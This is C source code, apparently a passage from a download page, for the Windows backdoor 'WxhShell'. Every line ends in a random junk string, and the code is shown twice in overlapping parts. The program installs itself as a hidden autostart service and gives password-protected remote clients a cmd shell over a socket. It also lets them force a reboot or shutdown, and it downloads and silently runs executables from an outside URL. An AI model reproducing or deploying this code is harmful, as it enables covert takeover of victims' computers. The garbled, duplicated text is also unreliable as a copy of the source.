    if(Boot(SHUTDOWN)) 0gD0}nH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q4iD59yd)S  
    else { g4~qc I=a  
    closesocket(wsh); I)6Sbt JV^  
    ExitThread(0); #L0I+ K,K\  
    } K, 5ax@  
    break; l%(`<a]VIB  
    } \ZRoTh  
  // 获取shell ~N^vE;  
  case 's': { 5ba[6\Af  
    CmdShell(wsh); w WU_?Dr_~  
    closesocket(wsh); i t@}dZ  
    ExitThread(0); Y0\\(0j64  
    break; I JY5wP1"  
  } i q:Q$z&  
  // 退出 ^u!Tyb8Dk  
  case 'x': { Q;O)>K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~x"79=!W  
    CloseIt(wsh); Rl4zTAI  
    break; OX/.v?c  
    } PX2k,%  
  // 离开 _ D9@<+MS*  
  case 'q': { \_AEuz3 F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &AcFa<U  
    closesocket(wsh); #L:P R>  
    WSACleanup(); "q^'5p]  
    exit(1); &vX!7 Y  
    break; [=6~"!P}  
        } q)ql]iH  
  } ~hslLUE  
  } m8j-lNu  
H#6^-6;/  
  // 提示信息 .Pes{uHg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oz6+rM6MY  
} i:M*L< +  
  } .00=U;H%`  
@) ZO$h  
  return; `F\:XuY   
} mv*T=N8fC  
kj!7|1i2  
// shell模块句柄 Au} ;z6k  
int CmdShell(SOCKET sock) ^;$a_$ |  
{ ]Y&)98  
STARTUPINFO si; |;9 A{#zM  
ZeroMemory(&si,sizeof(si)); !u { "] T:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z/kaRnG[@t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p_qm}zp  
PROCESS_INFORMATION ProcessInfo; :LiDJF  
char cmdline[]="cmd"; !LIfeL.4h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T#G<?oF  
  return 0; - (_e=3$  
} p?$G>nkdq  
R:OU>HsdX  
// 自身启动模式 } .3]  
int StartFromService(void) QrckTO  
{ `XSc >  
typedef struct Lp`<L-s  
{ L\m!8o4  
  DWORD ExitStatus; <cv2-?L{  
  DWORD PebBaseAddress; 'gZbNg=&[  
  DWORD AffinityMask; H<Kkj  
  DWORD BasePriority; #} ~p^ 0  
  ULONG UniqueProcessId; ).}k6v[4)  
  ULONG InheritedFromUniqueProcessId; BU:Ecchbr  
}   PROCESS_BASIC_INFORMATION; n R\n\   
Sci4EGc  
PROCNTQSIP NtQueryInformationProcess; Wx?&igh  
Cld<D5\|f+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Bf:tal6 -M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i<wU.JX&h  
B >u,)  
  HANDLE             hProcess; D<bU~Gd,P  
  PROCESS_BASIC_INFORMATION pbi; #W@% K9  
HIX=MprL<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qE`:b0FT  
  if(NULL == hInst ) return 0; gJPDNZ*6pk  
mvTyx7 h=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G?-`>N-u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vv]$\`d#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q5y q"/=[a  
e-iYJ?  
  if (!NtQueryInformationProcess) return 0; `Ix s7{&jU  
#K#Mv /  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &#-|Yh/  
  if(!hProcess) return 0; +t>*l>[  
UOu6LD/|h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6c2ThtL  
n4WSV  
  CloseHandle(hProcess); O+o;aa6  
4aN+}TkH@G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P#[IUXtT  
if(hProcess==NULL) return 0; 4Hml.|$  
OgKWgvy  
HMODULE hMod; h7EUIlh"  
char procName[255]; 7~ *;=,mw  
unsigned long cbNeeded; gj[ >p=Wn  
WbQhl sc:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K=tx5{V  
8Da(tS  
  CloseHandle(hProcess); 18.Y/nZAgQ  
f^!11/Wv  
if(strstr(procName,"services")) return 1; // 以服务启动 Yz2{LW[K  
..jq[(;N  
  return 0; // 注册表启动 8B*E+f0  
} x/%7%_+'  
rkfQr9Vc  
// 主模块 $-$5ta{s  
int StartWxhshell(LPSTR lpCmdLine) v~V;+S=gz  
{ X:G& 5  
  SOCKET wsl; QJ a4R  
BOOL val=TRUE; hGed/Yr  
  int port=0; B:O+*3j  
  struct sockaddr_in door; '!wPnYT@D  
^V<J69ny|9  
  if(wscfg.ws_autoins) Install(); GB<R7 J  
zP :~O  
port=atoi(lpCmdLine); e{fZ}`=7y  
W>Mse[6`c  
if(port<=0) port=wscfg.ws_port; \;-=ODC  
;23=p=/h  
  WSADATA data; *|];f#^9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \|eJJC  
r7Nu>[r5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j6tP)f^tD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S}.\v<  
  door.sin_family = AF_INET; 0 &*P}U}Uc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m x3}m?WQ  
  door.sin_port = htons(port); [as-3&5S  
uX[O,l^}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e1%rVQ(v  
closesocket(wsl); Job/@> ;  
return 1; M8 iEVJ  
} >.J'L5 x$  
W[R]^2QAG  
  if(listen(wsl,2) == INVALID_SOCKET) { $zC6(C(l  
closesocket(wsl); cs K>iN  
return 1; Lzh9DYU6  
} <Zig Co w  
  Wxhshell(wsl); M[h 1>}$Lz  
  WSACleanup(); ,^.S0;D,Z  
s8t f@H4r  
return 0; 5 R,la\!bQ  
h`?y2?O  
} Hs[}l_gYn  
M0O>Ljo4RN  
// 以NT服务方式启动 R(:  4s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T$ H2'tK|  
{ rGTWcJ   
DWORD   status = 0; 3AvVU]@&Z@  
  DWORD   specificError = 0xfffffff; PqT"jOF]n  
0fnZR$PB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <9@&oN+T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "0|BoG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m9#}X_&x  
  serviceStatus.dwWin32ExitCode     = 0; X,>(Y8  
  serviceStatus.dwServiceSpecificExitCode = 0; U:qF/%w  
  serviceStatus.dwCheckPoint       = 0; ]@*tfz\YaH  
  serviceStatus.dwWaitHint       = 0; GS}0;x  
so} l#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  ;e&!  
  if (hServiceStatusHandle==0) return; ]KsGkAG  
mYjf5  
status = GetLastError(); dKU5;  
  if (status!=NO_ERROR) 3QCMK^#Z:  
{ +``>,O6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d2ohW|  
    serviceStatus.dwCheckPoint       = 0; &c20x+  
    serviceStatus.dwWaitHint       = 0;  "\`>2  
    serviceStatus.dwWin32ExitCode     = status; LPq2+:JpS  
    serviceStatus.dwServiceSpecificExitCode = specificError; DXKyRkn6e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ip>^O/}$1  
    return; 9U]pH%.9  
  } NeY"6!;k  
}g}6qCv7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3nwz<P  
  serviceStatus.dwCheckPoint       = 0; !loO%3_)  
  serviceStatus.dwWaitHint       = 0; ]a)IMIh;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); = Q@6c   
} yHl@_rN sC  
M6\7FP6G  
// 处理NT服务事件,比如:启动、停止 @|^jq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z%Vr+)!4  
{ ?hKm&B;d  
switch(fdwControl) pw!@Q?R  
{ {n\6BTs  
case SERVICE_CONTROL_STOP: !2(.$}E  
  serviceStatus.dwWin32ExitCode = 0; <R>Q4&we(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]+AAT=B<!  
  serviceStatus.dwCheckPoint   = 0; Y]~IY?I  
  serviceStatus.dwWaitHint     = 0; Bk+{}  
  { P2>:p%Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }gCG&7C  
  } U%L -NMe  
  return; vsH3{:&;"P  
case SERVICE_CONTROL_PAUSE: [4Y[?)7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n9DbiL1{  
  break; \F[n`C"Is  
case SERVICE_CONTROL_CONTINUE: ?k"0w)8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7 xUE,)?  
  break; 3Mw}R6g@#  
case SERVICE_CONTROL_INTERROGATE: .M8=^,h^K  
  break; B0v|{C   
}; fO #?k<p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t7&Dwmck9  
} sqT^t!  
6Hda]y  
// 标准应用程序主函数 #aa1<-&H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rxs8De  
{ B9}E {)T?  
M=W 4:H,gx  
// 获取操作系统版本 YtMlqF  
OsIsNt=GetOsVer(); #L\o;p(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +miR3~w.  
ANotUty;y  
  // 从命令行安装 u-kZW1wrQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); z<t>hzl 7  
<E SvvTf  
  // 下载执行文件 U3/8A:$y  
if(wscfg.ws_downexe) { 0F1u W>D1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0#<WOns1   
  WinExec(wscfg.ws_filenam,SW_HIDE); uNy!< u  
} %w$ mSG  
?;_H{/)m  
if(!OsIsNt) { <z',]hy  
// 如果时win9x,隐藏进程并且设置为注册表启动 +ZX .1[O  
HideProc(); Y3<b~!f  
StartWxhshell(lpCmdLine); X CzXS.  
} ly[lrD0Kn.  
else a/ b92*&k  
  if(StartFromService()) kB V/rw  
  // 以服务方式启动 >{b3>s~T  
  StartServiceCtrlDispatcher(DispatchTable); };^}2Xo+  
else ]'tJ S]  
  // 普通方式启动 e]+7DE  
  StartWxhshell(lpCmdLine); w [L&*  
1#]B^D  
return 0; O~atNrHD  
} 7u|%^Ao6  
{d,?bs)  
\TZ|S,FS  
bH,M,xIL2  
=========================================== -8/JP  
rfc|`*m}0  
K>$qun?5  
lQWBCJ8y  
>%l:Dw\A:  
oJh"@6u6K  
" TVYz3~m  
i+I0k~wY  
#include <stdio.h> t|_{;!^  
#include <string.h> 94y9W#  
#include <windows.h> 6P^hN%0  
#include <winsock2.h> {l@WCR  
#include <winsvc.h> .'&V#D0  
#include <urlmon.h> "Vx6 #u@}  
6`Lcs  
#pragma comment (lib, "Ws2_32.lib") >O3IfS(l  
#pragma comment (lib, "urlmon.lib") V,vc_d?,_o  
Bh,Q8%\6  
#define MAX_USER   100 // 最大客户端连接数 n7S; Xve#  
#define BUF_SOCK   200 // sock buffer djfU:$!j&  
#define KEY_BUFF   255 // 输入 buffer 6^ab@GrN\  
83Uw  
#define REBOOT     0   // 重启 Y0}4WWV  
#define SHUTDOWN   1   // 关机 i(Vm!Y82  
7VY8CcL  
#define DEF_PORT   5000 // 监听端口 x%pRDytA  
,WGc7NN`  
#define REG_LEN     16   // 注册表键长度 %0zS  
#define SVC_LEN     80   // NT服务名长度 'gCZ'edM  
~5T$8^K  
// 从dll定义API ']h IfOD"r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sjn:O'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a5 bPEJ=I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Cdmy.gx^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); op.d;lO@  
ly=a>}F_  
// wxhshell配置信息 H#`8Ey  
struct WSCFG { #N$9u"8C  
  int ws_port;         // 监听端口 >uHb ^  
  char ws_passstr[REG_LEN]; // 口令 {!r#f(?uT  
  int ws_autoins;       // 安装标记, 1=yes 0=no _ ~[M+IO   
  char ws_regname[REG_LEN]; // 注册表键名 1fRP1  
  char ws_svcname[REG_LEN]; // 服务名 )(]Envb?A0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `,P >mp)uU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N8QH*FX/F1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TaWaHf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %{"dP%|w4}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kIX)oD}c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 86qcf"?E  
3daC;;XO  
}; :X Lp  
2lo:a{}j  
// default Wxhshell configuration |EEi&GOR(y  
struct WSCFG wscfg={DEF_PORT, QXY}STs  
    "xuhuanlingzhe", x) 5LT}p  
    1, kV+ R5R  
    "Wxhshell", MyFCJJ/  
    "Wxhshell", _ Mn6L=  
            "WxhShell Service", wPgDy  
    "Wrsky Windows CmdShell Service", Si R\a!,C  
    "Please Input Your Password: ", R>HY:-2  
  1, }1@E"6kF  
  "http://www.wrsky.com/wxhshell.exe", USFg_sO  
  "Wxhshell.exe" 87}(AO)  
    }; (l_:XG)7~b  
x,uBJ  
// 消息定义模块 U6c@Et,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; * :S~C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `2e_ L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 32^#RlSu8  
char *msg_ws_ext="\n\rExit."; @,e8t BL  
char *msg_ws_end="\n\rQuit."; }*Zo6{B-  
char *msg_ws_boot="\n\rReboot..."; - wWRm  
char *msg_ws_poff="\n\rShutdown..."; ~bGC/I;W>  
char *msg_ws_down="\n\rSave to "; %6HX*_Mr&  
Cm410=b  
char *msg_ws_err="\n\rErr!"; ,J& 9kYz  
char *msg_ws_ok="\n\rOK!"; x`L+7,&n  
E-F5y  
char ExeFile[MAX_PATH]; WUY,. 8  
int nUser = 0; Qt~B#R. V  
HANDLE handles[MAX_USER]; ckWkZ 78\  
int OsIsNt; `M0YAiG  
;W~4L+e  
SERVICE_STATUS       serviceStatus; ~ k<SbFp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >f%,`r  
ZPvf-Pq Jl  
// 函数声明 CW;m  
int Install(void); sUV>@UMnu  
int Uninstall(void); 0 Z8/R  
int DownloadFile(char *sURL, SOCKET wsh); )cKjiXn  
int Boot(int flag); UFf,+4q  
void HideProc(void); #D0W7 a  
int GetOsVer(void); PkO!'X  
int Wxhshell(SOCKET wsl); BV1u,<T"  
void TalkWithClient(void *cs); &g {<HU?BT  
int CmdShell(SOCKET sock); u GAh7Sop  
int StartFromService(void); 2rmNdvvrk  
int StartWxhshell(LPSTR lpCmdLine); C5;wf3  
bQj`g2eyM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M}KZG'7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?S9Nm~vlt  
; h9W\Se  
// 数据结构和表定义 z{/LX \  
SERVICE_TABLE_ENTRY DispatchTable[] = )mG0g@qOK  
{ )ji@k(x27q  
{wscfg.ws_svcname, NTServiceMain}, wE4;Rk1  
{NULL, NULL} vcM~i^24)  
}; %l;*I?0H  
8,y{q9O  
// 自我安装 m_$JWv\|\  
int Install(void) K( z[ }  
{ MH FaSl  
  char svExeFile[MAX_PATH]; 3sb 5E]P  
  HKEY key; vzcz<i )  
  strcpy(svExeFile,ExeFile); ydup)[n  
{lMqcK  
// 如果是win9x系统,修改注册表设为自启动 j-6v2MH  
if(!OsIsNt) { 82s 5VQ6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pl?kS8#U?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k,lqT>C  
  RegCloseKey(key); + ~~ Z0.[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4&]%e6,jH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1J&#&\,f&  
  RegCloseKey(key); BCBUb  
  return 0; #fN/LO  
    } L^)qe^%3  
  }  C/  
} *_#&"(P  
else { g&kH'fR8  
SM$\;)L  
// 如果是NT以上系统,安装为系统服务 G:DSWW}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bOe<\Y$  
if (schSCManager!=0) >] -<uT_  
{ p7$3`t 6u  
  SC_HANDLE schService = CreateService )tvc/)&A}  
  ( y qkX:jt  
  schSCManager, 7PA=)a\  
  wscfg.ws_svcname, "*t6t4/Q  
  wscfg.ws_svcdisp, A6Q c;v+  
  SERVICE_ALL_ACCESS, JSRg?p\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v4D!7 t&v"  
  SERVICE_AUTO_START, s.KOBNCFa  
  SERVICE_ERROR_NORMAL, /k) NP  
  svExeFile, d=F)y~&'  
  NULL, @2?=3Wf  
  NULL, ]1tN|ODY*W  
  NULL, PF`:1;P U  
  NULL, m|mG;8}pI  
  NULL hwp/jO:7\  
  ); "h$D7 mL  
  if (schService!=0) xY+A]Up|w  
  { _Qg{ ;  
  CloseServiceHandle(schService); %; qY  '+  
  CloseServiceHandle(schSCManager); Txu>/1N,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `BpCRKTG  
  strcat(svExeFile,wscfg.ws_svcname); RW)k_#%=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &*jixqzvn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HwM /}-t  
  RegCloseKey(key); leR" j  
  return 0; 418gcg6)  
    } -CwWs~!  
  } h~:H?pj3g  
  CloseServiceHandle(schSCManager); [&Lxz~W][  
} L PMb0F}"5  
} GV=V^Fl .  
i6FP[6H1  
return 1; 9c%(]Rn:  
} Gy$o7|PA"{  
g{]ej  
// 自我卸载 sE}sE=\  
int Uninstall(void) ^&HI +M  
{ X!m;uJZp  
  HKEY key; bu;vpNa  
]Px:d+wX:  
if(!OsIsNt) { XGL"gD   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aK-N}T  
  RegDeleteValue(key,wscfg.ws_regname); eZ[#+0J  
  RegCloseKey(key); iKY-;YK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jD<9=B(g  
  RegDeleteValue(key,wscfg.ws_regname); :ECw \_"0$  
  RegCloseKey(key); C>M6&=  
  return 0; uz8nRS s  
  } }WoX9M; 1  
} 8`6 LMQ  
} xR _DY'z  
else { ]2g5Ka[>w  
X9SJ~n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aL{EkiR  
if (schSCManager!=0) 5t TLMZ`o  
{ j_hjCQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oA[2)BU  
  if (schService!=0) - f+CyhR"*  
  { ;wfH^2HxE)  
  if(DeleteService(schService)!=0) { :LG}yq^  
  CloseServiceHandle(schService); MuN [U17FB  
  CloseServiceHandle(schSCManager); +h9`I/R  
  return 0; G6f %/m`  
  } j^:b-:F  
  CloseServiceHandle(schService); A-}PpH~.Z  
  } +ESX.Vel  
  CloseServiceHandle(schSCManager); !:&2+%  
} UqY J#&MqY  
} ]rKH|i  
CdE2w?1  
return 1; nvw NjN  
} yZQ1] '^31  
u)wu=z8  
// 从指定url下载文件 k:@a[qnY  
int DownloadFile(char *sURL, SOCKET wsh) 1i ?gvzrq  
{  j@s=ER  
  HRESULT hr; &IxxDvP3k  
char seps[]= "/"; G;87in ,}  
char *token; 5B_-nYJDt  
char *file; -(`K7T>D.  
char myURL[MAX_PATH]; :+kg4v&r  
char myFILE[MAX_PATH]; H rM)jC<~  
AN50P!FZW  
strcpy(myURL,sURL);  zgZi  
  token=strtok(myURL,seps); PpI+@:p[  
  while(token!=NULL) &:IfhS  
  { jqV)V>M.  
    file=token; aU,0gvI(}  
  token=strtok(NULL,seps); O(b"F? w  
  } KBp!zSl  
Z:W')Nd(  
GetCurrentDirectory(MAX_PATH,myFILE); WlF+unB!9  
strcat(myFILE, "\\"); )cf p(16  
strcat(myFILE, file); R V_MWv  
  send(wsh,myFILE,strlen(myFILE),0); d{vc wZQ  
send(wsh,"...",3,0); ot&j HS'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;))[P_$zB  
  if(hr==S_OK) :T8u?@ .  
return 0; hlY S=cgY=  
else Ih9ORp7  
return 1; rcD.P?"  
eA;j/&qH  
} iPR!JX _  
:Q0?ub]  
// 系统电源模块 (Q*2dd>  
int Boot(int flag) LbLbJ{68  
{ T +|J19  
  HANDLE hToken; >"2\D|-/  
  TOKEN_PRIVILEGES tkp; S}XB |  
1t} (+NNjH  
  if(OsIsNt) { o+PQ;Dl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HY@kw>I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R] V~IDs   
    tkp.PrivilegeCount = 1; Xuz8"b5^Zx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OgzGkc@A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nA{ncTg1\  
if(flag==REBOOT) { ][T9IAn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fJ|Bu("N  
  return 0; 4okHAv8;  
} Lrm tPnL  
else { q329z>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L~SrI{aYPf  
  return 0; }kgjLaQ^N  
} %BT)oH}  
  } QBN=l\m+  
  else { 0e7O#-  
if(flag==REBOOT) {  h;:Se  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g(z#h$@S  
  return 0; ^"6D0!'N  
} =B ,_d0Id  
else { d6Q :{!Sd"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8_sU8q*s  
  return 0; V@54k*V  
} vh:UXE lm  
} ^HOwN<}`#  
sk%:Sp  
return 1; [|m>vY!  
} ~I8"l@H>  
q^T&A[hMPx  
// win9x进程隐藏模块 P"h,[{Y*>  
void HideProc(void) 3>:zo:;  
{ 'w |s*5  
.aAw7LW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "=v J }  
  if ( hKernel != NULL ) <W^XSk  
  { =_H*fhXS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ux/[d6To  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [h2p8i 'o  
    FreeLibrary(hKernel); " N`V*0h  
  } %3@RZe  
cE_Xo.:Y,  
return; :Z7"c`6L!~  
} x"h)"Y[c5  
:a^,Ei-&  
// 获取操作系统版本 I _Mqh4];  
int GetOsVer(void) 0 6G[^  
{ 6{F S /+  
  OSVERSIONINFO winfo; w$<fSe7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?6.KS  
  GetVersionEx(&winfo); u0 'pR# m|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7p"~:1hU  
  return 1; 6m;wO r  
  else m%[2x#  
  return 0; DlQ[}5STF  
} C>(M+qXL+  
6r-<XNv)0  
// 客户端句柄模块  zxynEdO  
int Wxhshell(SOCKET wsl) xVwi }jtG|  
{ cvLcre% >A  
  SOCKET wsh; 4)>\rqF+v  
  struct sockaddr_in client; *M**h-p2'  
  DWORD myID; \Vhp B   
ah&plaVzC  
  while(nUser<MAX_USER) "351s3ff  
{ ]a Ma*fF  
  int nSize=sizeof(client); ~]t2?SqNm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yI)RG OV  
  if(wsh==INVALID_SOCKET) return 1; qT-nD}  
yrv SbqR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A5>gLhl7  
if(handles[nUser]==0) SUFaHHk@/b  
  closesocket(wsh); m} F Ce  
else O.40^u~  
  nUser++; IB]VPj5  
  } &V,-W0T_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AQBx k[  
`X]2iz  
  return 0; 1wH/#K  
} HU.6L 'H*  
Ul~}@^m]4}  
// 关闭 socket YaE['a  
void CloseIt(SOCKET wsh) @SMy0:c:  
{ {TN@KB  
closesocket(wsh); 7_d#XKz@  
nUser--; ;hJ/t/7  
ExitThread(0); #lVl?F+~  
} [ QL<&:s&  
cE8 _keR~  
// 客户端请求句柄 %?{2uMfq-f  
void TalkWithClient(void *cs) 2*",{m  
{ h/y}  
-r2qIt  
  SOCKET wsh=(SOCKET)cs; BKlc{=  
  char pwd[SVC_LEN]; :@4>}k*  
  char cmd[KEY_BUFF]; 2W-NCE%K)T  
char chr[1]; ^}pREe c=  
int i,j; EpS8,[w  
t;~`Lm@hY  
  while (nUser < MAX_USER) { kGTc~p(  
Q9'p3"yoE  
if(wscfg.ws_passstr) { $4~}_phi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a_fW {;}[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LyPBFo[?  
  //ZeroMemory(pwd,KEY_BUFF); ?Dp^dR  
      i=0; |h~/Zz=  
  while(i<SVC_LEN) { RlPByG5K  
c o%_~xO  
  // 设置超时 L" ^366M!  
  fd_set FdRead; 0 Ln5e.&  
  struct timeval TimeOut; oX]1>#5UMg  
  FD_ZERO(&FdRead); |"E9DD]{  
  FD_SET(wsh,&FdRead); L}S4Zz18  
  TimeOut.tv_sec=8; ?kxWj(D  
  TimeOut.tv_usec=0; )aA9z(x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !5 :[XvI#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xwp?2,<  
7;-i_&vws  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qO3BQ]UF  
  pwd=chr[0]; r0uXMr=Z96  
  if(chr[0]==0xd || chr[0]==0xa) { wdDHRW0Y  
  pwd=0; ^{+:w:g  
  break; ~ai' M#  
  } HaN _}UMP  
  i++; 4g^+y.,r_f  
    } rxk{Li<9  
_!p$47  
  // 如果是非法用户,关闭 socket eu|q {p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e ;u8G/  
} 4W-+k  
1E_Ui1[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g~D6.OZU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gv3Fg[MA@c  
/g7?,/vnZ  
while(1) { /+U)!$zm*  
SpiC0  
  ZeroMemory(cmd,KEY_BUFF); *K^O oS  
f0bV]<_9  
      // 自动支持客户端 telnet标准   }? '9L:  
  j=0; )P+GklI{4  
  while(j<KEY_BUFF) { 3NZFW{u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  wupD   
  cmd[j]=chr[0]; 2 3w{h d  
  if(chr[0]==0xa || chr[0]==0xd) { cW^) $>A  
  cmd[j]=0; i1 Sc/  
  break; O7*i;$!R  
  } 3s$.l }  
  j++; To? bp4  
    } a-2 {x2O  
1)r_h(  
  // 下载文件 ^TuEp$Z=  
  if(strstr(cmd,"http://")) { ]+7c1MB(5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O +}EE^*a  
  if(DownloadFile(cmd,wsh)) Rw8m5U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q31c@t  
  else oT{yttSNo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9yAu<a  
  } '+tT$k  
